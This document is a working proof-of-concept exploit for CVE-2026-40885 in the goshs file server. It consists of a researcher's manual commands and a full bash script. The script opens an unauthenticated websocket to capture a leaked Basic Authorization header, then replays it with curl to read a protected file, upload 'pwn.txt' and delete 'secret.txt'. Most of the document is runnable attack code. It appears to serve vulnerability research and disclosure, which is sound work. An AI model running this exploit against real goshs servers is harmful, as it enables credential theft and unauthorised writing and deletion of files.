CVE-2026-40885

GET /ACLAuth/secret.txt
Authorization: Basic YWRtaW46YWRtaW4=

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt

/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096

node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc4'

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
FIXTURE='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5/integration/keepFiles/goshsACLAuth'
BIN='/tmp/goshs_beta5_collab_leak'
PORT='18096'
WORKDIR="$(mktemp -d /tmp/goshs-collab-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
WS_LOG="$WORKDIR/ws.log"
GOSHS_PID=""
WATCH_PID=""

cleanup() {
  if [[ -n "${WATCH_PID:-}" ]]; then
    kill "${WATCH_PID}" >/dev/null 2>&1 || true
    wait "${WATCH_PID}" 2>/dev/null || true
  fi
  if [[ -n "${GOSHS_PID:-}" ]]; then
    kill "${GOSHS_PID}" >/dev/null 2>&1 || true
    wait "${GOSHS_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

mkdir -p "${ROOT}/ACLAuth"
cp "${FIXTURE}" "${ROOT}/ACLAuth/.goshs"
printf 'very secret\n' > "${ROOT}/ACLAuth/secret.txt"

echo "[1/6] Building goshs beta.5"
(cd "${REPO}" && go build -o "${BIN}" ./)

echo "[2/6] Starting goshs without global auth on 127.0.0.1:${PORT}"
"${BIN}" -d "${ROOT}" -p "${PORT}" >"${WORKDIR}/goshs.log" 2>&1 &
GOSHS_PID=$!

for _ in $(seq 1 40); do
  if curl -s "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
    break
  fi
  sleep 0.25
done

echo "[3/6] Opening an unauthenticated websocket observer"
node - <<'NODE' >"${WS_LOG}" &
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onopen = () => console.log('OPEN');
ws.onmessage = (ev) => {
  const msg = ev.data.toString();
  console.log(msg);
  if (msg.includes('Authorization')) process.exit(0);
};
setTimeout(() => process.exit(0), 10000);
NODE
WATCH_PID=$!

echo "[4/6] Simulating a victim request with folder credentials"
curl -s -u admin:admin "http://127.0.0.1:${PORT}/ACLAuth/secret.txt" >/dev/null
wait "${WATCH_PID}" || true
WATCH_PID=""

LEAKED_HEADER="$(python3 - "${WS_LOG}" <<'PY'
import pathlib
import re
import sys

text = pathlib.Path(sys.argv[1]).read_text()
m = re.search(r'Basic [A-Za-z0-9+/=]+', text)
print(m.group(0) if m else '')
PY
)"

if [[ -z "${LEAKED_HEADER}" ]]; then
  echo "[ERROR] No leaked Authorization header was captured." >&2
  echo "[DEBUG] Websocket output:" >&2
  cat "${WS_LOG}" >&2
  exit 1
fi

echo "[5/6] Replaying the leaked header as the attacker"
UNAUTH_CODE="$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
READ_BACK="$(curl -s -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt")"
PUT_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" -X PUT --data-binary 'owned' "http://127.0.0.1:${PORT}/ACLAuth/pwn.txt")"
DELETE_CODE="$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: ${LEAKED_HEADER}" "http://127.0.0.1:${PORT}/ACLAuth/secret.txt?delete")"

if [[ "${UNAUTH_CODE}" != "401" ]]; then
  echo "[ERROR] Expected anonymous direct access to fail with 401, got ${UNAUTH_CODE}." >&2
  exit 1
fi

if [[ "${READ_BACK}" != "very secret" ]]; then
  echo "[ERROR] Replayed header did not unlock the protected file." >&2
  exit 1
fi

if [[ "${PUT_CODE}" != "200" ]]; then
  echo "[ERROR] Expected replayed-header PUT to return 200, got ${PUT_CODE}." >&2
  exit 1
fi

if [[ "${DELETE_CODE}" != "200" ]]; then
  echo "[ERROR] Expected replayed-header delete to return 200, got ${DELETE_CODE}." >&2
  exit 1
fi

if [[ ! -f "${ROOT}/ACLAuth/pwn.txt" ]]; then
  echo "[ERROR] PUT did not create pwn.txt." >&2
  exit 1
fi

if [[ -f "${ROOT}/ACLAuth/secret.txt" ]]; then
  echo "[ERROR] Delete did not remove secret.txt." >&2
  exit 1
fi

echo "[6/6] Results"
echo "Captured header: ${LEAKED_HEADER}"
echo "Anonymous GET status: ${UNAUTH_CODE}"
echo "Replayed-header GET body: ${READ_BACK}"
echo "Replayed-header PUT status: ${PUT_CODE}"
echo "Replayed-header delete status: ${DELETE_CODE}"
echo "[RESULT] VULNERABLE: public collaborator feed leaked ACL credentials that unlocked the protected subtree"